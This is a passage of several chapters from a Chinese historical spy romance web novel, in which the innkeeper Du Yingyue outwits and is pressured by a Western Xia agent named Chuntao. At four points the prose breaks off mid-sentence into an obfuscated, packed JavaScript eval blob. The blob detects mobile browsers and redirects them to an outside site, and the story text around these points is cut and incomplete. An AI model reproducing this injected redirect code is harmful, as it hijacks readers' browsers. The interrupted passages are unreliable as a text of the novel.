盈玥走上前,对着虞都头施礼,袖角轻拂间,一个沉甸甸的锦囊已不着痕迹地滑入虞都头手中。她声音压得极低,带着恳切:“多谢大人体恤。” 然后转身便“不小心”对上了春桃已经快被冷汗浸透的脸,她像意识到了什么,又转过身对着来势汹汹的婆子们道:“只是我毕竟是东家,脸皮薄些,妈妈们可否行个方便,让我单独一间厢房受查?” 这话合情合理,官婆子们在别处办事,也常将主家与下人分开检查。只是因着长官在,几个婆子互相看了一眼,并未立刻答应,而是看向虞都头。 虞都头掂了掂手中锦囊的分量,面色缓和了些,摆摆手:“掌柜的自便就是。只是诸位妈妈务必仔细,不可放过任何可疑之处!” “都头放心!”婆子们应下,便有两个上前,要引盈玥去二楼空着的雅间。 盈玥迈步,经过春桃身边时,脚步似乎顿了一下,伸手指向她,语气随意得像在吩咐一件再平常不过的小事:“你,跟着我上来,同我一起搜身吧。一会儿搜完了,正好替我重新更衣。” 说完又看向官婆子们:“如此也可多一位搜身的妈妈互相见证,免去收受贿赂之嫌。” 虞都头点头赞赏道:“难怪丰乐楼开张时间不久,便成为东京府的新贵,掌柜的思虑周全。” 而春桃却猝不及防,浑身一僵,她猛地抬头,正好对上盈玥平静无波的眼眸,那里面深邃一片,看不出任何情绪。 她心中惊疑不定,完全摸不清掌柜的用意。 是巧合?还是……看出了什么? 但此刻众目睽睽,衙役环伺,她已别无选择。那刚刚凝聚起来的拼死一搏的戾气,被这突如其来的“指派”硬生生打断。她只得低下头,掩去眼中翻腾的思绪,恭敬应道:“是,掌柜的。” 20.嵬理大人 去往二楼厢房的路上,春桃的心提到了嗓子眼。她袖中那封信像一块烫手山芋,烫得她几乎要发抖。 她一边跟着走,一边用眼角余光飞速打量周围环境——廊道、转角、柜子底部、摆放的花盆……任何一个可以瞬间丢弃密信的角落都不放过。 然而,走在前后的两名官婆子,显然是经验极其丰富的老手。她们看似随意,实则站位巧妙,一人略前,一人略后,恰好将春桃可能行动的路线封死。 那锐利的目光,时不时扫过春桃的全身,尤其是她的双手和袖口。 根本没有机会! 春桃的心中,那点残存的侥幸彻底熄灭,冰冷的绝望如同潮水般蔓延上来,淹没了她的四肢百骸。每一步,都像是走向刑场。 待走到二楼一间空的厢房。盈玥几人便开门走了进去。 房门在身后关上,隔绝了外间大部分的嘈杂,却让室内的气氛更加凝滞压抑。 两名官婆子显然训练有素,一人守着盈玥,一人守着春桃,目光锐利地扫视她们的全身。 其中一位官婆子语气客气,但不容拒绝:“两位,得罪了,请吧。” “职责所在,理解”盈玥点点头,同时自然地伸开手臂,似乎全然信任。 但就是因为抬手配合,袖口拂过了旁边梳妆台上的一盏小巧的铜制水盂。那水盂本就放在边缘,被她衣袖一带,“哐当”一声轻响,竟被打翻在地! 盂中盛着的半盆清水顷刻泼洒出来,恰好溅湿了盈玥的裙裾下摆和春梅的鞋面,更在地板上迅速蔓延开一小片水渍。 “哎呀!”盈玥轻呼一声,下意识地向后微微退了一小步,似乎想避开蔓延的水迹。 可她这一退,脚步却正好踩在了自己略有潮湿的裙摆上,身子顿时一个趔趄,不由自主地向旁边歪倒,手在空中无意识地挥舞了一下,恰好抓住了离她最近的——官婆子的手臂! 另外一名官婆子连忙下意识去搀扶! 就是现在! 电光石火之间,春梅眼中锐光一闪!趁着两名婆子视线与重心被盈玥短暂牵制的、不足一息的空档,她一直垂在身侧的右手以快得几乎看不清的速度微微一抖——袖中那封薄韧的密信已滑入掌心。 她借着侧身似是关切地望向盈玥的方向、脖颈微转的刹那,手腕极其隐蔽地向上一送,指尖轻巧地将那卷成细管的绢帛送入口中! 没有犹豫,甚至没有明显的吞咽动作。她腮帮子难以察觉地一鼓一缩,喉头微微一动,那要命的物件便已进了腹中。 动作行云流水,干脆利落,若非一直死死盯着她的嘴巴,绝难察觉这瞬息间的变化。 “小心着些!” 被抓住胳膊的官婆子已稳住身形,略带不耐地抽回手臂,另一人也扶住了盈玥。 盈玥已借着搀扶站直,脸上带着恰到好处的窘迫和歉意:“对不住,对不住!是我没站稳……” 这日下午,丰乐楼二楼的厢房内,盈玥站在窗前,看着外面灼灼的桃花,没有回头,声音淡淡的,却清晰:“你是什么人?” 春桃唇角勾起一丝极淡的弧度,反问:“这话,我也想问问掌柜的。” 盈玥依旧望着窗外,对她的话毫不关心,“你不是朝廷的人。若是,衙役来时你便不会慌。有靠山的人,腰杆是硬的,眼神也是稳的。消息也不会如此滞后。” 她顿了顿,终于转过身,目光平静地落在春桃脸上,带着一种疏离的审视:“既非朝廷,又费心潜入我这新开的酒楼,应是敌国的人……你来自西夏?” 春桃心头微微一震,面上却波澜不兴:“大宋的敌人不少,契丹、吐蕃、回鹘……掌柜的为何独独猜是西夏?” 盈玥没有立刻回答,她垂下眼眸,指尖无意识地拂过窗棂,语气飘忽起来,像陷入了一段回忆:“我也不知道,许是一种直觉吧,你给我的感觉,和西夏人给我的感觉,一样。” 春桃心中松了一口气,若杜盈玥今天能条理清晰地说出几点断定她是西夏人的理由,她反而要有所防备。因为杜盈玥的背景实在太过普通,区区五品官的庶女,即使她经商的才能超出寻常,但这政要边塞之事她也没有能力了解太多,过于精准的判断若出自于她,总有些不同寻常。 现在她的回答,反而更加合理些。 但是春桃也敏锐地察觉到了盈玥话中的漏洞——感觉相似,她追问:“这么说,掌柜的见过西夏人?” 盈玥闻言,微微一怔,旋即抬起眼,望向虚空,声音里掺入一丝复杂的慨叹:“五年前,我从建州前往东京,路上遇到流寇,我和家丁走散,被人牙子拐走,他们将我和其他拐来的女童放在一起,打算将我们二十多个孩子卖到天南地北的妓院。” “我现在能好好的站在这里,是因为被几个西夏人救了。” “你能明白哪种感觉吗?自己人在劫掠,救我的却是异邦客……你说讽刺不讽刺?” “从那时起我便知道,听来的,和亲眼见的,常常是两回事。” “西夏人其实并非传闻中那般凶神恶煞。尤其为首的那个……他个子很高,在同伴中很显眼,圆脸,鼻梁挺直,身材魁梧,眼神亮得慑人,看上去英气逼人,气势非凡,动起手来更是悍勇无匹,让人过目不忘。” 叙述间,盈玥的脸颊浮起一层极淡、却难以错辨的红晕。 春桃的心跳漏了一拍。同为女子,她太清楚这抹红晕意味着什么——那绝不仅仅是感激。 西夏人身材都是矮短却又精壮的类型,高大者甚少,而“圆脸”“鼻梁挺直”“悍勇”“英气非凡又气势逼人”这些特征,结合能深入宋境、带有随从的西夏人身份,像几块散落的拼图,在她脑中猛地碰撞! “掌柜的倒是好运气。”春桃稳住心神,目光却锁紧盈玥,“不知那救命恩人,该如何称呼?” 盈玥似乎被她从回忆中拉回,怔了一下,秀眉微蹙,努力回想:“称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950467|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼……时间久了,记不真切。他的手下对他极为恭敬,喊的像是……回里大人?还是威利?腔调古怪,我当时惊魂未定,也没听实在。” 嵬理! 这两个字如同惊雷,在春桃脑中轰然炸响!这是当今西夏国主李元昊的乳名!非亲近核心之人绝不知晓!、 她袖中的手指猛地蜷紧,指甲几乎掐进掌心,用了极大的力气才维持住面色的平静,但眼底翻涌的惊骇与难以置信,却难以掩盖。 盈玥仿佛没有察觉她的异样,神色已恢复了之前的淡然,甚至带上一丝清晰的疏远:“今日在大堂,你身上那股决绝的劲儿……很像他当年护着我时的样子。我帮你,就当是那人当日的恩情吧。” 她语气转冷,清晰地下达逐客令:“你现在就收拾东西,离开丰乐楼,离开东京。若他日再见,我必报官。” “你也不要动别的心思,我敢放心大胆的见你,自然已经留好后手,我若出事,你绝计走不出汴京城。” 春桃此刻心乱如麻,盈玥后面警告的话几乎没听进去。她所有的心神都被“嵬理大人”可能与此女有过交集,甚至可能留下特殊印象这件事占据。 看着盈玥冷淡决绝的侧脸,再联想到自己若任务失败,家人也会受牵连,春桃突然涌起了一个大胆的想法。但是眼下,不是时候,她不能冲动。 她深吸一口气,拱手深深一礼,这一次,语气里带上了此前未有过的郑重和真诚:“掌柜的今日之情,春桃铭记。” 说完,她不再多言,转身退出了厢房。 盈玥依旧立在窗前,待春桃走后,叶十九才敲门进来,然后将怀中的一个青布包裹双手递给盈玥,“姑娘,这是您之前要的东西,将已经备妥了。” 盈玥转过身接了,解开系扣,里头露出一幅卷轴。她缓缓展开,就着窗光细看了半晌,方颔首道:“是我要的东西,这画本身没有难度,难的是将墨色和画纸做旧,如今这幅画,墨色沉静,纸纹自然,连印色洇染的度都恰到好处。如此功力,应该可以彻底打消春桃的疑虑。” “将军果然厉害,任何问题到了他那里都能迎刃而解。” 叶十九笑道:“将军小的时候在云贵巴蜀之地待过几年,后来又游历过四方,结识三教九流的人物不少,一些有才干的,现在都被将军收为己用了,所以将军麾下的奇才不少,这将画卷做旧的手艺,也是将军在杭州的一个书籍铺子里的工匠做的。” “听说这个人奇奇怪怪,将所有的心血都倾注在了书籍的雕版刻工上,对其他事情一概不感兴趣,虽说这一行当比较偏,于大局又没什么益处,但是将军认为此人颇有韧性,又肯钻研,因此对他倒是多为赞许,还特意下令让书铺的管事不许束缚了他,任他琢磨去便是。” 盈玥细长的手指摩梭着画卷,也觉得此人的技艺令人拍案叫绝,故而随口问道:“这人叫什么名字?” 叶十九想了想答道:“好像是叫毕昇。” 21.夜探杜府 虹桥旁边一家不起眼的脚店厢房中,春桃捏着刚译出来的密信,手心全是冷汗。 信上只有两行字:“河北东路戍防消息系伪造。若再出错,全家连坐。” 她看着那几行字,眼前发花。 父亲走得早,母亲这两年眼疾愈发严重,嫁的那个男人又是那样不成器……偏偏此时,一对儿女又刚刚降生,万般无奈之下,她投身去了详稳使大人府中做了下人,因做事稳妥,性格机敏,被详稳使大人看重,培养成了暗探。 而按照西夏国律,暗探家人由朝廷奉养,当初她第一次听说这项规定的时候,还开心了好久,如今才明白——那是将家人当成人质的另一套说辞罢了。 幸好……幸好没有把被杜盈玥识破身份的消息一同报上去。 若是让上头知道她不仅传了假消息,连自己都已暴露,那下场…… 春桃闭了闭眼,后背沁出细密的冷汗。 可纸终究包不住火。东京城里西夏的眼线遍布街巷,她任务失败的消息必然瞒不了多久?等消息传回西夏王廷—— 不行!她不能让这种事情发生!她那个无用的男人死不足惜,可是她的娘亲,她还在襁褓中的一双儿女可怎么办! 她霍然起身,在狭小的厢房里踱了两步。 看来,必须要用上杜盈玥喜欢国主李元昊的这条线索了。 她捏起密信,缓缓凑向烛火。火舌“嗤”地窜上来,顷刻间吞没了纸角。 春桃盯着那簇摇晃的光,眼神渐渐沉静下来,“掌柜的,别怪我恩将仇报,我也是到了绝境啊…” 三更梆子刚敲过,杜府西北角突然蹿起火光。 盈玥被乐清摇醒时,窗外已映得通红,“姑娘快醒醒!披香院后头的下人房走水了,火势太大,咱们院子离得近,怕是会烧过来,下人们都去救火了,倪大娘子传话来,让您今夜去她房中歇息,奴婢服侍您更衣妆饰…” 待披香院的人声、脚步声渐渐远了。 漫天的火势和浓烟下,一道黑影翻墙而入,落地时轻得像片叶子。 来人正是春桃。 她贴着廊柱站定,目光扫过空荡荡的院落。 她已打定主意,既然杜盈玥已经识破她是暗探,想再继续偷偷潜伏是不可能了。 若想任务不失败,唯一的方法,就是想办法把杜盈玥发展成自己人。 春桃在心中细细计较过几番,虽说杜盈玥是宋人,但是听她的意思,对西夏并无多少反感,对大宋倒是有许多不满。 人就是这样,总是这山望着那山高,总觉得自己国家哪里都不好,别的国家哪里都是好的。 而且她在家中备受欺凌,更妙的是,竟藏着对国主那样隐秘的心思。 想到这里,春桃差点笑出声来,这简直是送上门的下线。 虽然现在劝服她很困难,可若是……让她在大宋也活不下去呢?若是把她逼到和自己一样的绝境呢? 春桃心里已经有了一套绝妙的主意。 只是,在实施前,她要把杜盈玥调查清楚,确定此人不是宋人设下的陷阱。 虽早先暗桩回报说此女十分干净,虽说她的父亲和哥哥在朝为官,但她本人却从不参与朝政,满脑子都是经营酒楼。 且按常理,大宋若要做局,也不会用这样显眼的官家女子——身家背景都明白得和朝廷绑定,倒不如寻个来历普通的平民女子,更易取信于敌国。 只是凡事总有万一,总要亲眼看过才作数——她此番潜入杜府,便是看她房中是否有可疑物件,如政论兵书、边关舆图、私通外人的信函…… 披香院的正房中,临窗的多宝格里,汝窑天青釉瓶斜插着几枝桃花。旁边那尊羊脂白玉的持莲童子,掌心被摩挲得温润生光,该是常被握在手里把玩的。 春桃的手细细摩梭着每一个地方,生怕漏下一处。 妆台那面菱花铜镜边沿錾着缠枝莲纹,镜面已有些昏黄,照人影朦朦胧胧的。打开螺钿妆奁,上层是几支素银簪子,样式简单,却打磨得极光亮。底下那半盒胭脂,正是今春东京闺阁里流行的“海棠醉”——颜色娇嫩得像刚破晓的霞,边沿已用出了小小的凹坑,露出白瓷底子。旁边还有支用了一半的眉黛。 转到书案前。紫檀木的案面擦得光亮,一角摆着端石砚,墨池里沉着薄薄一层宿墨。摊开的几卷书,最上头是《李太白全集》,纸页间夹着好几枚自制的海棠红笺,注了些娟秀小楷。 抽屉里放着本《南华经》,书脊的线都有些松了。另有两三本民间话本,书角微卷,该是翻过许多回的。 墙壁上那幅仕女图用细绫裱着,画中女子在梅树下抚琴,衣袂飘飘。春桃指尖轻触画纸——是寻常的宣纸,背后墙壁平整坚实,并无夹层。 她又顺着墙根细细敲过一圈,回音实笃笃的,连砖缝都勾得匀净。 拔步床的帐子是雨过天青色的软烟罗,此刻挽在银钩上。因走的匆忙,被子随意地乱堆在床上,枕边搁着个半旧的香囊,松绿色的缎面绣着白梅,针脚有些地方歪了,像是初学女红时的活计。春桃拿起来轻嗅——是陈年的桂花混着淡薄药香。 她蹲下身查看床底。除了两只收着冬衣的樟木箱,便是些零散物件:一架蒙尘的旧筝,几卷用锦带束着的画轴,还有只竹编小篮,里头散落着五色丝线和小巧的绣绷。 连最易藏物的箱笼夹层、多宝格暗屉,她都一一探过——没有机关,没有夹层,更没有那些不该出现在闺阁的东西。 她又站在房间中央,将刚刚检查的各处细节,一一在脑中过了一遍。 突然,她意识到有一处不对,那本《南华经》的书脊线松了! 她再没存在感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975390|191915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但杜府到底财力不错,总不至于一本新书都买不起。 想到这里,春桃赶紧走到书案前,拿出了那本《南华经》。 松动的线脚之下,内里却异常挺硬。 她捏住封底边缘轻轻一捻——外层蓝布封皮竟应手脱开,露出内里裱糊得严实的硬纸板。纸板中间嵌着一个细细的绢画轴。 春桃将画轴抽出,就着摇晃的光缓缓展开。 绢色已微微泛黄,上面画着个青年男子。窄袖胡服,高踞马上,鼻梁如刀削般挺直,眼神锐利如鹰。笔法尚带青涩,但那股睥睨之气已透出绢面。右下角一行小楷墨色微晕:“春风不解语,空度玉门关——作于明道二年春。” 明道二年——刚好是五年前,杜盈玥从建州来汴京的那一年。 她细看画中人的眉眼,确是李元昊无疑,只是比如今少了几分沧桑,多了几分少年意气的锋芒。 绢面在人物面庞处磨损得格外明显,颜色都淡了些许——那是经年累月指尖反复摩挲才会留下的痕迹。 她猜对了,杜盈玥果然心仪国主! 她将画卷凑到鼻尖轻嗅——确实是陈年绢帛的味道。 窗外传来远处救火人声的余响,渐渐低下去。天边已泛起蟹壳青,天快亮了。 春桃将画轴仔细复原,塞回书封夹层,《南华经》摆回原处。 她站起身,最后环视这间闺房——确认无误后,便轻轻带上门,沿着原路翻墙跳出了杜府。 第二日盈玥从倪大娘子的宛华堂醒来,由乐清服侍着梳头,“……大娘子特意嘱咐了,说姑娘昨夜受惊,今儿不必过去请安,好生歇着便是。” 又道,“厨房熬了杏仁茶,奴婢这就去端来。” 盈玥看着昨晚匆匆忙忙化上的斑点,淡淡地问:“昨夜烧的厉害吗?” 乐清一边给盈玥梳发髻,一边回:“今早几个管事就来回倪大娘子,奴婢留神听了,姑娘放心,虽然火势大,看着凶猛,但因着是下人房,值钱的物件不多,所以损失不大,且家丁们被倪大娘子整顿后,各个守夜都勤勉得很,救火很及时,并未烧到其他院子。” 回到披香院时,日头已升过东墙。院里那株桃树开得正盛,粉白花瓣落了满地,倒像下了场春雪。几个小丫鬟在扫院子,见她回来,纷纷停了动作问安。 盈玥微微颔首,径直进了正房。 晨光透过茜纱窗,将屋子照得敞亮。多宝格上的汝窑瓶里换了新摘的桃花,粉嫩的花瓣上还带着露水。她走到书案前,却不碰抽屉,只俯身下去,指尖探向底板与案面相接的那道暗槽——昨日出门前,她用塞在槽口的那根发丝,不见了。 春桃来过了,盈玥算计着,“还有,这烧掉的损失,得找沈昭行报了才行…” 烧了公家房,入我私人账。 盈玥觉得,蛮划算的。 22.春桃的逼迫 这场蹊跷的火事,最终定论是西北角厨房火具管束不严所致。倪氏借着这由头,雷厉风行地将几个积年都在中饱私囊的厨房管事悉数遣了出去。换上了一批手脚利落,做事勤谨的新人。 又召来泥瓦匠,将被大火波及过的屋舍亭廊细细修葺,连带着西花园那几处斑驳的白墙也一并新过了。 难得她怀着五个多月的身孕,处置这些琐碎却纹丝不乱。连素来对儿女严苛的杜荣晦,近来也越发的对这个儿媳妇赞不绝口。 春桃那头,夜探杜府后不过一日,又将丰乐楼里里外外细细筛过一遍。好在孙小乙也是个干暗探的老手,自打上回官府来丰乐楼搜查后,不等盈玥叮嘱,便麻溜地将那些与大辽沾边的物件挪到了别处。 盈玥倚在窗边,指尖慢慢摩挲着青瓷茶盏的冰裂纹。叶十九垂手立在阴影里,听得她问:“世子爷修的那条密道,确定不会被发现吧?” “掌柜的放心。”十九的声音压得低,却透着笃定,“入口是整块的太湖石,机关藏在石纹里。若不是精通鲁班秘术的行家,便是贴着石面也摸不出蹊跷。” 他顿了顿,“倒是有一处……属下愚钝,想问问您。当年掌柜的从建州来东京,一路太平,这是阖府上下都知道的旧事。孙小乙与春桃岂会不知?这岂不是天大的纰漏?” 听到此话,盈玥唇角微微一弯:“这纰漏是我故意留着的。” 茶汤的热气氤氲上来,模糊了她眼底的情绪,“你想想,谁家未出阁的姑娘真遇上流寇,府里会任由风声传开?这往后还如何议亲?” 她将茶盏轻轻搁在案上,发出一声脆响,“凡事做得太圆满,反倒惹人生疑。” 十九怔了怔,旋即叹道:“姑娘思虑之深,属下不及。” 静了片刻,他又道:“…那李元昊继位前,就野心勃勃地计划建国,为此多番前来我大宋打探,想查明我朝国力到底如何,甚至为了宣扬西夏人的好处,经常大庭广众下故意惩恶扬善,借我宋人扬名…他怎么也想不到,他的举动,反而成为了我们的突破口。” 盈玥颔首:“他‘行侠仗义’的次数太多,我特意挑了救二十余人那回,人数多,时间又久远,西夏那边便核实我的说辞,也是大海捞针。” “只是事发之地不在建州往东京的路上,我才托说是被人牙子拐了去的。” “掌柜的聪慧”十九颔首:“那接下来…” 盈玥轻轻一笑,那笑意却带着一股凉意,“接下来么…自然该轮到我——被逼着为西夏所用了。” 她声音放得极轻,像在说一件与自己毫无关系的趣事:“我倒是好奇,她会用什么法子逼我。” 果然不出盈玥所料,没出三日,三个穿着公服的衙役便晃进了丰乐楼的大堂。 领头那个姓胡的班头将铁尺往柜台上一敲,震得算盘珠子哗啦啦响:“掌柜的呢?出来说话。” 庆喜忙赔着笑迎上来:“胡爷您里面请,新到的龙团……” “少来这套。”胡班头斜着眼打量四周,“上月府衙下了文书,东京七十二家正店,每户月例加收二十贯‘河防捐’,你这丰乐楼临着汴河,自然该带头。” 堂中食客纷纷侧目。庆喜脸色白了白,压低声道:“胡爷,咱们上月才缴过三十贯的‘火烛钱’,这河防捐……” “那是上月的规矩。”旁边瘦衙役嗤笑,“如今河道要疏浚,粮船要过路,哪样不要银子?还是说……别家都能交,就你们丰乐楼不给?” 后堂帘子一动,盈玥走了出来。她今日穿着素净的藕荷色褙子,发间只簪一支白玉钗,面上却带着得体的浅笑:“官爷们辛苦。庆喜,取二十贯钱来。” 她转向胡班头,语气温和,“丰乐楼自当遵朝廷法令。” “这就对了,识时务者为俊杰”胡班头脸上的皱纹堆出个油滑的笑,“岳掌柜,这东京城里的水,深着呢。” 他接过庆喜捧来的钱串,在手里掂了掂,“下月十五,我会再来的。哎,对了,你们家的‘雪浸春’不错,给我们这些兄弟一人拿一坛…” 春桃躲在街对面的墙角,眯眼看着丰乐楼门口。 杜盈玥正微微躬身送客,侧脸在光线下显得平静温顺。待那几道官服身影消失在街角,她直起身,脸上那层客气的神情瞬间就没了。嘴角抿得发白,眼神冷了下来。 小玉憋不住了,冲着衙役离开的方向啐了一口:“什么河防捐!分明是变着法要钱!这个月三十贯,下个月呢?咱们还赚不赚了?” 盈玥没接话,抬头看了看“丰乐楼”的招牌。 夕阳照得金漆有些刺眼,底下木头的旧色却露了出来。她闭了闭眼,声音很低:“做生意,自古不能跟当官的硬碰。他们想要钱……我们只能想办法多挣些了。” 话是说出来了,手却在袖子里攥得紧紧的。 街对面,春桃看着这一切,嘴角慢慢扯出一点笑。那笑冷冷的,带着狠劲儿。 这胡班头自然是她让西夏在大宋朝廷的暗探派来的。 她对着空巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乐清哭腔更加明显,声音也愈发低了:“还有……午后,黄大娘子来过,带了好些礼。和咱们大娘子关起门说了许久的话。虽未明说,但咱们两家都知道,黄大娘子有意撮合您和她家二郎,如此看来,这门亲事怕是不成了。姑娘,往后、往后可怎么办哪……” 怎么办? 她生母是歌妓的身份传出去,父亲已经迁怒于她,从此在家里,她便更加受人白眼,是下人窃窃私语的对象,也是宴席上高门贵女掩口侧目的笑话。 她再也没有好人家上门议亲,春桃这一手,不止断了她的前路,更刨了她的根,宗谱上除名,祠堂里撤位,母亲在这世间存在过的痕迹,被抹得干干净净。 往后清明中元,连个祭拜的由头都没有了。 好狠! “乐清。”好半晌,她才开口,声音异常平静,“父亲现在在哪里。” 乐清愣愣地抬头,见她脸上竟无悲无愤,只一双眼睛黑沉沉的,像两口望不见底的古井。 “姑娘……”乐清喉头哽住。 “去打听一下吧。”盈玥道:“做好你们自己的事情,只要我还在,这天就塌不了。” 23.从此我们便是自己人 想着父亲被周小娘手段轻巧拿捏的场景,盈玥决定如法炮制,以退为进。她换了身半旧的月白衫子,发间只簪一支素银簪,往父亲的外书房去。 行至院门,正遇管事捧着账册出来,见她便是一顿,低声道:“六姑娘,主君方才……” “我明白。”盈玥眼帘微垂,声音极轻,“烦请通传一下吧。” 书房里,沉水香也压不住那股滞重的焦躁。杜荣晦背门立在窗前,听见脚步声并未回头。 “父亲。”她在门槛内跪下,额头贴上冰凉的青砖。 杜荣晦袖中的手猛地攥住,厉声问:“你来干什么!莫不是在指责为父薄情寡义,是个负心汉?” “女儿……是来领罪的。”她抬起头,脸上已满是泪痕,却死死咬着唇不肯泄出一丝呜咽,只任泪珠接连滚落。 “小娘临终时拉着我的手,气都喘不匀了,还一遍遍嘱咐……”她肩头轻颤,哽咽道,“她说:‘盈儿,你父亲不易。往后……要替娘好好孝顺他。’” 闻见,杜荣晦袖中攥紧的手,猛然松了下来。 “可女儿不孝……”她忽然重重磕下头去,“咚”的一声闷响砸在砖上,“非但未能替母亲尽孝,反累父亲清誉受损,令杜家蒙羞。思来想去,唯有一条路,女儿愿去城外慈云庵,剃度出家。青灯古佛,也算替母亲赎罪,为父亲积福。” “胡闹!”杜荣晦厉声喝道,可盈玥能听出,那声音里带着一丝慌乱。 他盯着伏在地上的女儿,那截从月白衣领中露出的细白脖颈,脆弱得像一折就断的嫩枝。 起初他以为,她是来质问、来怨恨的——就像外头那些人一样。他岂会不知,今日将樊氏从宗谱除名的事若传出去,世人会怎样戳他的脊梁骨:负心薄幸,刻薄寡恩。 可他又能如何? 杜家世代平民,到了他这一代,寒窗数十载,才挣来如今的两榜进士出身。这身官袍,是他在宦海沉浮中,不知赔了多少小心、熬了多少心血才披上的。 如今二哥儿伯恒去年高中,才刚入仕途,家族正是一片大好,欣欣向荣之时,他岂能因一个早已故去的人,让整个杜家在这紧要关头栽了跟头? 因着恼羞成怒和自保的念头,他的愤怒原是灼着他的五脏六腑,可那句“剃度出家”如同冰水倾盆,把那丝怒火浇灭了,心中突然闪过一阵刺痛的空茫。 许多画面不由分说撞进脑海——病榻上樊氏苍白却清亮的眼,她攥着他袖口的、耗尽最后力气的手指,甚至更久以前,东京郊外别院的海棠树下,她怯生生问“这算不算家”的模样。那些被他刻意遗忘的、潮湿的旧日气息,此刻扑面而来。 他忽然觉得这身官服重得压肩。勒得他喘不过气来。 什么清誉,什么体面……她的体面,又有谁能给呢?她活着的时候,他没有好好待她,死了,连个名分都要亲手抹去。 杜荣晦的喉结剧烈滚动了一下。他仍背对盈玥,不敢回头。怕看见她额上那片刺目的红,更怕在她眼里看见自己此刻的模样——一个为了仕途,连亡妾灵位都容不下的、卑劣的父亲。 书房里静得骇人,只有更漏滴滴答答,像是无声地控诉着他的罪过。 良久,他终于转过了身子,极重地叹了口气,声音哑得如同砂纸磨过:“你起来。” 那语气虽硬,却已透出三分疲惫的妥协。 盈玥却不起身,仰起一张被泪洗得清透的脸,目光直直望过来:“父亲若怜惜女儿……女儿还有个痴念。” 她一字一句,说得极慢,每个字都像泣着血,“母亲既已出了宗谱,可否将她的牌位,请去清虚观供奉?那里香火清净,是正经道场。女儿可经常去上香、添些灯油,也算全了母女一场的情分……不至让她成了无依的孤魂。” 月光从窗格斜斜切入,正好照亮她脸上未干的泪痕,亮晶晶的,刺得杜荣晦眼眶发涩。 许久,杜荣晦才从喉间挤出一声极轻的:“……嗯,你去吧,原本也是我对不住她,记得替我也上柱香…” “谢父亲成全。”盈玥又磕了一个头,这才缓缓起身。许是跪得久了,身子微微一晃,忙伸手扶住门框。 在转身的那一刻,廊下清冽的夜风迎面拂来,盈玥脸上再不见方才的哀戚,取而代之的一种近乎淡漠的平静。 人都已经不在了,那名分、那祠堂里一方冷硬的牌位,究竟还剩下多少意义?不过是粉饰给活人看的场面罢了。 她不稀罕,她想,她的娘亲也不稀罕。 她的娘亲,那个会在春日为她簪上海棠、会在夏夜轻轻给她摇扇的女子,何曾真正看重过“杜家妾室”这个虚名?她所在意的,从来都不是这些。 若她娘亲真的泉下有知,如今灵位移去清虚观倒是好事。那具困在杜家的魂魄,或许反而得了自在。 清虚观虽偏僻冷清,却胜在干净。没有杜家祠堂终年不散的陈腐香火气,没有那些或怜悯或轻蔑的打量目光,只有晨钟暮鼓,清风明月。 她想,娘亲在那里,应该会比待在杜家那方压抑的祠堂里,要舒心得多。 更好的是,如此一来,待卦象占卜的由头过去后,她便有新的理由去丰乐楼了。 这些年在杜家的冷眼和苛待,早就让她练就了在最不利的情况下,为自己争取到最多好处的本事。 只是,春桃、杜荣晦,这笔账,迟早要还的。 你们一定要好好活着,一定要等着这一天! 乐清原以为,这晚姑娘定是要辗转难眠了。她备下了安神香,温好了杏仁茶,连劝慰的话都在心里翻来覆去默了好几遍。谁知值夜时悄悄探头瞧了几回,帐子里呼吸均匀绵长,竟是一夜睡到天明。 不是盈玥心硬,而是她从来不信鬼神之说,对她而言,人死了就是死了,葬在哪里,在谁的家谱上,排位供奉在哪里,那都是场面事,没必要被这些影响了自己。 只是为了配合春桃,难免要装出一副崩溃绝望的样子。因此第二日梳妆的时候,盈玥特意让乐清在眼下用眉黛加了层淡淡的乌青,正合眼下这“备受打击”的模样。 而这日傍晚,庆喜便来禀报,说春桃想见她。 推开门再见杜盈玥时,她穿着身半旧的藕荷色衫子,料子虽好,颜色却洗得发了白,像蒙了层灰。鬓边簪了朵小小的白绒花,脸上施了粉,却盖不住眼底那层淡青。她整个人坐在黄昏的光晕里,透着一股被风雨打过、将折未折的脆弱。 春桃的目光在她脸上停了停,才轻轻掩上门,低声道:“掌柜的节哀罢。” “你倒是什么都知道。”盈玥没抬眼,声音有些沙,像是哭哑了,“怕不都是你一手安排的吧?”她这才抬起眼,目光直直地看过来,没了往日的温润,只剩一片冷寂的疲惫,“你到底想干什么?” 春桃早料到她会猜到,也不遮掩,走到对面坐下:“是我安排的。可掌柜的细想,若大宋的官个个清廉,杜家父慈子孝,世人也不那般刻薄女子,我这安排,又能起什么作用?” 她将话说得缓慢,“我只是个引子。掌柜如今遭的难,根子在这世道,在这容不得人的规矩。” 盈玥垂着眼,手指无意识地摸索茶杯边缘,没说话。 “往后的路,掌柜的想过么?”春桃身子微微前倾,“官府变着法要钱,郑家退了亲,您生母的事传遍了东京,在这大宋,您还有路可走么?” “日子总要过下去。”盈玥声音平淡,听不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 